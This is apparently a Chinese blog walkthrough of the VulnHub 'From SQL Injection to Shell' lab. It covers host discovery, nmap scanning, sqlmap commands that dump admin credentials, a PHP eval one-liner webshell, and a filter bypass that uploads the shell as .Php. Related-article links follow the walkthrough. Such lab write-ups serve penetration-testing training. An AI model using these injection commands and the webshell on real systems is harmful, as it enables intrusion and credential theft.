靶机官网:

https://www.vulnhub.com/entry/pentester-lab-from-sql-injection-to-shell,80/

靶机镜像ISO下载地址:(转链)

from_sqli_to_shell_i386.iso - 4275.COM


一、启动靶机


二、查找靶机 IP 地址(2种方法)

1.使用 netdiscover 命令

在 Kali 终端中,输入 netdiscover 命令,该命令会自动扫描局域网内的活跃主机,尝试查找靶机的 IP 地址。

netdiscover

2.使用 arp - scan 命令

执行 arp - scan - l - D 命令,对同网段下的主机进行扫描。此命令通过发送 ARP 请求并接收响应,来获取局域网内设备的 IP 地址和 MAC 地址信息。

arp-scan -l -D


三、端口扫描与服务探测

1.全端口扫描

nmap --min - rate 10000 - p - 192.168.16.132 命令对靶机进行全端口扫描。该命令以较高的扫描速率(每分钟至少 10000 个数据包)探测靶机上开放的所有 TCP 端口。扫描结果显示,靶机开放了 22 端口(SSH 服务)和 80 端口(HTTP 服务)。

nmap --min - rate 10000 - p - 192.168.16.132

2.对80端口详细扫描

针对开放的 80 端口,执行 nmap - sT - sC - sV - O - p80 192.168.16.132 命令。此命令在进行 TCP 连接扫描(-sT)的同时,还会运行一系列默认脚本(-sC)来检测常见的漏洞和服务信息,获取服务版本(-sV)以及尝试识别靶机操作系统(-O)。扫描结果表明,80 端口运行的是 Apache httpd 2.2.16 版本(基于 Debian 系统),操作系统为 Linux,内核版本在 2.6.32 - 2.6.35 之间。

nmap - sT - sC - sV - O - p80 192.168.16.132


四、浏览器访问靶机 IP

在确定靶机开放 80 端口且运行着 Web 服务后,我们在浏览器中输入靶机 IP 地址 192.168.16.132 进行访问。打开页面后,呈现出一个名为 “My Awesome Photoblog” 的网站,页面展示了一些图片相关的内容,如 “last picture: cthulhu” 等信息,同时右侧有 “Admin” 选项卡。


五、寻找sql注入漏洞(2种方法)

1.nmap漏洞脚本扫描

使用 nmap --script = vuln - p80 192.168.16.132 命令尝试利用 nmap 的漏洞脚本扫描 80 端口的漏洞。

nmap --script = vuln - p80 192.168.16.132 

发现了了大量的SQL注入点:

| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.16.132:80/cat.php?id=2%27%20OR%20sqlspider
|     http://192.168.16.132:80/cat.php?id=1%27%20OR%20sqlspider
|     http://192.168.16.132:80/cat.php?id=3%27%20OR%20sqlspider

2.从页面url中id参数下手,找sql注入点

(1)发现登录Admin后台界面与潜在 SQL 注入漏洞

点击 “Admin” 选项卡后,进入到一个后台管理的登录界面。

为了登录成功,我们需要找到有效的用户名和密码。

在对网站进行初步探索时,我们点击了右侧的各个选项卡,并观察每个页面的 URL。

发现多个页面都是通过 GET 方式将参数 id 传递给 cat.php 文件来获取不同的内容,例如访问 192.168.16.132/cat.php?id = 1192.168.16.132/cat.php?id = 2 等不同的 id 值会返回不同的图片信息。这种动态参数传递的方式存在 SQL 注入的可能性,因为攻击者可能通过构造恶意的 id 参数值来篡改数据库查询逻辑。

(2)确定 SQL 注入点

为了验证 SQL 注入点的存在,我们使用万能测试语句 “or 1 = 1#” 进行测试。将其添加到 URL 参数中,即访问 192.168.16.132/cat.php?id = 1 or 1 = 1#

经过测试,页面内容发生改变且符合预期,显示了更多的图片信息,这表明成功找到了 SQL 注入点。


六、SQL 注入漏洞利用与信息获取

1.使用 sqlmap 扫描数据库

确定注入点后,我们借助强大的 sqlmap 工具来进一步探索数据库信息。

执行下面命令(2选一):

sqlmap - u "http://192.168.16.132/cat.php?id = 1" --dbs --batch​
sqlmap -u "http://192.168.16.132:80/cat.php?id=2%27%20OR%20sqlspider" -dbs

会自动检测并利用注入点,尝试获取数据库列表。

fetching database names:

available databases [2]:
[*] information_schema
[*] photoblog

扫描结果显示靶机存在两个数据库,分别是 information_schema(MySQL 系统数据库,用于存储数据库元数据信息)和 photoblog(该摄影博客网站应用所使用的数据库)。

2.爆破 photoblog 数据库中的表

接着,我们对 photoblog 数据库中的表进行爆破。使用 sqlmap - u "http://192.168.16.132/cat.php?id = 1" - D photoblog --tables --batch 命令,sqlmap 将尝试获取 photoblog 数据库中的所有表名。

​sqlmap - u "http://192.168.16.132/cat.php?id = 1" - D photoblog --tables --batch

经过一段时间的扫描,成功获取到三个表名:categories(可能用于存储图片分类信息)、pictures(可能存储图片相关数据)和 users(推测用于存储用户信息)。

3.获取 users 表的字段名

进一步深入,我们需要获取 users 表中的字段名。执行 sqlmap - u "http://192.168.16.132/cat.php?id = 1" - D photoblog - T users --columns --batch 命令。

​sqlmap - u "http://192.168.16.132/cat.php?id = 1" - D photoblog - T users --columns --batch

sqlmap 成功获取到 users 表中的三个字段:id(数据类型为 mediumint (9),可能是用户 ID)、login(varchar (50),推测为用户名)和 password(varchar (50),显然是用户密码)。

4.获取 users 表中的用户数据

最后,我们使用 sqlmap - u "http://192.168.16.132/cat.php?id = 1" - D photoblog - T users - C id,login,password --dump --batch 命令来获取 users 表中这些字段的具体文本内容。

​sqlmap - u "http://192.168.16.132/cat.php?id = 1" - D photoblog - T users - C id,login,password --dump --batch

经过爆破,我们成功获取到一条用户记录,其中用户名是 “admin”,密码的 MD5 值为 “8efe310f9ab3efeae8d410a8e0166eb2”。幸运的是,sqlmap 直接为我们解密了密码的 MD5 值,得到密码为 “P4ssw0rd”。

5.登录后台管理系统

有了用户名和密码,我们返回登录界面,输入 “admin” 和 “P4ssw0rd” 进行登录。

登录成功后,进入到后台管理页面,页面显示了图片管理相关的功能,包括查看图片、删除图片以及添加新图片等操作。

这个表是一个图片表,名称是一个herf,可以直接查看,后面的delete应该也是可以删除这张图片


七、文件上传漏洞利用与获取 Shell

1.文件上传功能测试

在后台管理页面中,我们注意到 “Add a new picture” 按钮,点击后发现可以上传文件。这意味着着可能存在通过文件上传功能获取更高权限的途径,例如上传恶意文件(如病毒木马)来控制靶机。

2.上传 PHP 文件失败

<?php
@eval($_POST['webshell']);
?>

在 Kali 系统中,我们创建一个包含一句话木马的 PHP 文件(命名为abc.php),尝试通过文件上传功能将其上传到靶机。

、然而,上传失败!靶机显示 “No PHP!!”,这表明靶机对上传的文件进行了过滤,禁止直接上传 PHP 文件。

3.绕过文件上传过滤

经过初步分析,猜测靶机是通过检测文件后缀名来过滤上传文件的,即禁止上传后缀名为.php 的文件。为了绕过这个限制,我们将 PHP 文件的后缀名由原来的.php修改为.Php,然后再次尝试上传。

这次上传成功了,这进一步证实了我们的猜测,即靶机的上传检测机制仅针对文件后缀名,而未对文件内容进行检测。

4.寻找上传文件的存储位置

虽然上传的文件(伪装成.Php格式)成功上传到了靶机,但由于其实际上是一个 PHP 文件,我们需要找到一种方法使其能够被服务器解析为 PHP 脚本,从而执行我们的木马代码。

为此,我们使用 dirb 命令扫描网站后台目录,希望找到上传文件的存储位置。

​dirb http://192.168.16.132

执行 dirb http://192.168.16.132命令后,我们发现了一个名为 “uploads” 的目录,根据其名称和网站的逻辑,我们推测上传的文件很可能保存在这个目录中

5.确认上传文件的访问路径

(1)查找上传文件的保存目录

​dirb http://192.168.16.132/admin/uploads - w

为了验证我们的推测,我们使用 dirb 命令再次查看指定目录,执行 dirb http://192.168.16.132/admin/uploads - w 命令。

​dirb http://192.168.16.132/admin/uploads - w

(2)通过后缀名.Php来验证文件保存位置

​dirb http://192.168.16.132/admin/uploads - w -X .Php

从扫描结果中,我们成功找到了我们上传的文件 “abc.Php”。并且发现其访问路径为http://192.168.16.132/admin/uploads/abc.Php

6.访问上传文件并获取 Shell

在浏览器中访问http://192.168.16.132/admin/uploads/abc.Php,如果一切顺利,我们的一句话木马将被执行,此时我们可以使用工具(如中国蚁剑或其他类似的 WebShell 管理工具)连接到这个地址,通过在工具中输入密码(这里是 “cmd”,与我们在一句话木马中设置的密码一致),成功连接后,我们就获取了靶机的 Shell 权限,可以在靶机上执行各种命令,进一步深入探索靶机系统,完成渗透测试的目标。


9853ba67-90cf-43c8-85b6-b843521a0946

var code = "9853ba67-90cf-43c8-85b6-b843521a0946"

Vulnhub经典靶机:from_sqli_to_shell_i386入门靶机的更多相关文章

  1. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  2. kali渗透综合靶机(十七)--HackInOS靶机

    kali渗透综合靶机(十七)--HackInOS靶机 靶机下载地址:https://www.vulnhub.com/hackinos/HackInOS.ova 一.主机发现 1.netdiscover ...

  3. kali渗透综合靶机(八)--Billu_b0x靶机

    kali渗透综合靶机(八)--Billu_b0x靶机 靶机下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip 一.主机发现 1.netdisco ...

  4. kali渗透综合靶机(九)--Typhoon靶机

    kali渗透综合靶机(九)--Typhoon靶机 靶机下载地址:https://www.vulnhub.com/entry/typhoon-102,267/ 一.主机发现 1.netdiscover ...

  5. kali渗透综合靶机(六)--FristiLeaks靶机

    kali渗透综合靶机(六)--FristiLeaks靶机 靶机地址下载:https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova 一.主 ...

  6. kali渗透综合靶机(五)--zico2靶机

    kali渗透综合靶机(五)--zico2靶机 靶机地址:https://www.vulnhub.com/series/zico2,137/#modal210download 一.主机发现 1.netd ...

  7. kali渗透综合靶机(三)--bulldog2靶机

    kali渗透综合靶机(三)--bulldog2靶机 靶机地址:https://download.vulnhub.com/bulldog/Bulldog2.ova 一.主机发现 1.netdiscove ...

  8. kali渗透综合靶机(四)--node1靶机

    kali渗透综合靶机(四)--node1靶机 靶机下载地址::https://download.vulnhub.com/node/Node.ova 一.主机发现 1.netdiscover -i et ...

  9. kali渗透综合靶机(二)--bulldog靶机

    kali渗透综合靶机(二)--bulldog靶机 靶机下载地址:https://download.vulnhub.com/bulldog/bulldog.ova 一.主机发现 netdiscover ...

  10. 强烈推荐visual c++ 2012入门经典适合初学者入门

    强烈推荐visual c++ 2012入门经典适合初学者入门 此书循序渐进,用其独特.易于理解的教程风格来介绍各个主题,无论是编程新手,还是经验丰富的编程人员,都很容易理解. 此书的目录基本覆盖了Wi ...

随机推荐

  1. 【Simpleperf】Android的CPU分析,性能优化利器

    很多时候,写代码是一件很爽的事情,但最后需要对APP进行瘦身.性能分析却是一件很棘手的事情.当需要对APP的性能进行分析时,Simpleperf是一个简单快捷的选择. 正文开始前,先奉上官方的资料: ...

  2. 墨天轮最受DBA欢迎的数据库技术文档-故障处理案例篇

    在之前发布的<墨天轮最受欢迎的技术文档-容灾备份篇>中,大家说想看故障处理案例篇的内容,这不!编辑部快马加鞭给大家整理来了,希望能够帮助到大家. 数据库故障可能出现在内存.网络.CPU.硬 ...

  3. 再见 Dockerfile,拥抱新型镜像构建技术 Buildpacks

    作者:米开朗基杨,方阗 云原生正在吞并软件世界,容器改变了传统的应用开发模式,如今研发人员不仅要构建应用,还要使用 Dockerfile 来完成应用的容器化,将应用及其依赖关系打包,从而获得更可靠的产 ...

  4. 云原生周刊 | 使用 kube-reqsizer 自动调整资源配额

    开源项目推荐 kptop Kubernetes API 提供的监控指标非常有限,而 kubectl top 就是利用 Kubernetes API 来查看 Node 和 Pod 的实时资源使用情况.k ...

  5. 干活总结 | SQL 语法速成手册

    本文针对关系型数据库的一般语法.限于篇幅,本文侧重说明用法,不会展开讲解特性.原理.本文内容包括基本概念.增删改查.子查询.连接和组合.函数.排序和分组.数据定义.事务处理.权限管理等等. 一.基本概 ...

  6. Python 潮流周刊#74:创下吉尼斯世界记录的 Python 编程课(摘要)

    本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章.教程.开源项目.软件工具.播客和视频.热门话题等内容.愿景:帮助所有读者精进 Python 技术,并增长职 ...

  7. DRF-Serializers序列化器组件源码分析及改编

    1. 源码分析 注意:以下代码片段为方便理解已进行简化,只保留了与序列化功能相关的代码 序列化的源码中涉及到了元类的概念,我在这里简单说明一下:元类(metaclass)是一个高级概念,用于定义类的创 ...

  8. SpringBoot必须掌握的常用注解!

    Spring Boot 提供了大量的注解,用于简化配置和加速程序开发. 那么接下来,咱们就一起来看下 Spring Boot 中的常用注解有哪些?及其这些注解的具体使用. 1.Bean相关 @Comp ...

  9. MySQL无开通SQL全审计下的故障分析方法

    几年前MySQL数据库出现突然的从库延迟故障和CPU爆高时,如何排查具体原因,可能说已在腾讯云的MySQL库里开启了SQL全审计,记录了全部执行的SQL,再通过下面的方法就可以很容易找到原因: 1,实 ...

  10. CSP模拟50联测12 T2 赌神

    CSP模拟50联测12 T2 赌神 题面与数据规模 Ps:超链接为衡水中学OJ. 思路 \(subtask2\): 由于\(x_i\)较小,考虑 dp. 假设一开始球的颜色为红和蓝,设 \(dp[i] ...